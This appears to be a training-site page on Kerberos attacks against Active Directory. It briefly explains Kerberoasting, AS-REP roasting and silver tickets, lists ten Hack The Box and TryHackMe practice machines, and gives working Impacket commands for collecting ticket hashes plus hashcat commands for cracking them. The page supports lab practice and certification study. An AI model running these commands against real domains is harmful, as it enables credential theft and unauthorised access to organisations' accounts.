Kerberos Attacks: practice machines and key commands
By Daniel Dayan ยท Updated
Kerberos is the default authentication protocol in Active Directory, and several of its design details are abusable. Kerberoasting requests service tickets for accounts with a servicePrincipalName and cracks the encrypted part offline, which works for any domain user. AS-REP roasting targets accounts that do not require pre-authentication and needs no credentials at all if you can guess usernames. Forged tickets, such as silver tickets built from a service account hash, give access to one service without touching the domain controller. Clock skew breaks everything, so sync time with the DC before you start. After capturing a hash, pick the right hashcat mode (13100 for TGS, 18200 for AS-REP) and check whether the recovered password is reused elsewhere. The boxes listed here exercise these attacks from both the Linux and Windows side.
Key commands
Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.
Impacket GetUserSPNs (Kerberoasting)
Request Kerberos TGS tickets for accounts with SPNs and output format for Hashcat / John.
impacket-GetUserSPNs {DOMAIN}/{USER}:{PASSWORD} -dc-ip {TARGET_IP} -request -outputfile hashes.kerberoastImpacket GetNPUsers (AS-REP Roasting)
Query users with DONT_REQ_PREAUTH set to retrieve crackable Kerberos AS-REP hashes without creds.
impacket-GetNPUsers {DOMAIN}/ -usersfile users.txt -dc-ip {TARGET_IP} -format hashcat -outputfile asreproast.hashesHashcat Kerberos 5 TGS (Mode 13100)
Crack Kerberoasted Service Principal Name tickets to reveal service account passwords.
hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt -OHashcat Kerberos 5 AS-REP (Mode 18200)
Crack AS-REP hashes captured for accounts with Kerberos preauthentication disabled.
hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt -O
Keep going
- Methodology: Phase 06: Internal System & Network Reconnaissance
- Cheatsheet: Windows & Active Directory
Kerberos Attacks machines (10)
10 Windows.
Listed when a machine has a catalog tag that is one of: kerberos, kerberoasting, as rep roasting, asreproast, asreproasting, silver ticket, golden ticket, pass the ticket. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row.
Kerberos Attacks at a glance
- By platform: 7 Hack The Box, 3 TryHackMe.
- On these practice lists: HTB Active Directory (10), OSCP (5), CRTO (5), OSEP (3), CWEE (2), CPTS (2).
- Tags that most often appear alongside it: Active Directory (8), BloodHound (5), DCSync (3).
Easy (3)
| Machine | Platform | OS |
|---|---|---|
| Forest IppSec | HTB | Windows |
| Sauna IppSec | HTB | Windows |
| VulnNet: Roasted | THM | Windows |
Medium (3)
| Machine | Platform | OS |
|---|---|---|
| Administrator IppSec | HTB | Windows |
| Attacktive Directory | THM | Windows |
| Scrambled IppSec | HTB | Windows |
Hard (3)
| Machine | Platform | OS |
|---|---|---|
| Blackfield IppSec | HTB | Windows |
| Enterprise | THM | Windows |
| Mantis IppSec | HTB | Windows |
Insane (1)
| Machine | Platform | OS |
|---|---|---|
| Sizzle IppSec | HTB | Windows |
Related techniques
Related guides: HTB Pro Labs guide, HTB CPTS exam guide, HTB vs TryHackMe, HTB progress tracker.
Practise it, then track it.
Log every box and the commands you used in ZeroBox.